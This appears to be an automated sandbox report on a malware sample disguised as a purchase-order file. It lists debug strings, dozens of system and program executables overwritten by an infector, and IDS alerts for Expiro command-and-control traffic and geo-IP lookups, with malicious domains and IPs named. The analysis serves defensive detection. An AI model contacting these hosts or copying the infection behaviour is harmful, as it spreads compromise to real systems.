Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 0000000B.00000003.2010753406.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2574637480.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 0000000B.00000003.2002253535.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2563833897.0000000000730000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\tnameserv_objs\tnameserv.pdb source: alg.exe, 0000000B.00000003.2038419292.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: alg.exe, 0000000B.00000003.2037851037.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: alg.exe, 0000000B.00000003.2050845345.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: Common.ShowHelp.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: alg.exe, 0000000B.00000003.2037331399.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: alg.exe, 0000000B.00000003.2033387100.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 0000000B.00000003.2009762179.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.2009857048.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573298301.0000000000730000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2573255343.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\keytool_objs\keytool.pdb source: alg.exe, 0000000B.00000003.2035106637.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: alg.exe, 0000000B.00000003.2034574236.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 0000000B.00000003.2011798103.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2576506040.0000000001460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\policytool_objs\policytool.pdb source: alg.exe, 0000000B.00000003.2037004985.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate32.pdb source: alg.exe, 0000000B.00000003.2053440475.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 0000000B.00000003.2010753406.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2574637480.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb source: Common.ShowHelp.exe.9.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: alg.exe, 0000000B.00000003.2037331399.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: GoogleUpdate_unsigned.pdb source: alg.exe, 0000000B.00000003.2031098154.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: alg.exe, 0000000B.00000003.2037851037.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\policytool_objs\policytool.pdb source: alg.exe, 0000000B.00000003.2037004985.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\keytool_objs\keytool.pdb source: alg.exe, 0000000B.00000003.2035106637.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVlp.pdb source: alg.exe, 0000000B.00000003.2053936657.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection.pdbn#n source: alg.exe, 0000000B.00000003.2060589054.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: alg.exe, 0000000B.00000003.2035936901.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\tnameserv_objs\tnameserv.pdb source: alg.exe, 0000000B.00000003.2038419292.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: alg.exe, 0000000B.00000003.2036151480.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate32.pdbGCTL source: alg.exe, 0000000B.00000003.2053440475.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: alg.exe, 0000000B.00000003.2033387100.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 0000000B.00000003.2002253535.0000000000400000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2563833897.0000000000730000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: alg.exe, 0000000B.00000003.2035579850.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\orbd_objs\orbd.pdb source: alg.exe, 0000000B.00000003.2036511619.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: alg.exe, 0000000B.00000003.2037617501.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\pack200_objs\pack200.pdb source: alg.exe, 0000000B.00000003.2036762332.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: alg.exe, 0000000B.00000003.1991666348.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, elevation_service.exe, 00000012.00000003.2527182119.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: alg.exe, 0000000B.00000003.2061513893.0000000000B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: alg.exe, 0000000B.00000003.2035579850.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: alg.exe, 0000000B.00000003.2035936901.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\orbd_objs\orbd.pdb source: alg.exe, 0000000B.00000003.2036511619.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVlp.pdbGCTL source: alg.exe, 0000000B.00000003.2053936657.0000000000B90000.00000004.00001000.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	System file written: C:\Windows\System32\sppsvc.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F4DF57 FindFirstFileW,

9_2_00F4DF57

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Code function: 4x nop then jmp 0F260B84h	0_2_0F260283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	9_2_070BE2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov esp, ebp	9_2_09F13C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 09F10248h	9_2_09F10040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then jmp 09F10D3Ch	9_2_09F10040
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 4x nop then jmp 08E3F64Dh	22_2_08E3ED52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	42_2_074BE2D8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.7:53251 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.7:54852 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.7:49780 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.7:49903 -> 82.112.184.197:80

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49718 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49754 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.7:49922
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.7:49922

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: POST /j HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 834
Source: global traffic	HTTP traffic detected: POST /j HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
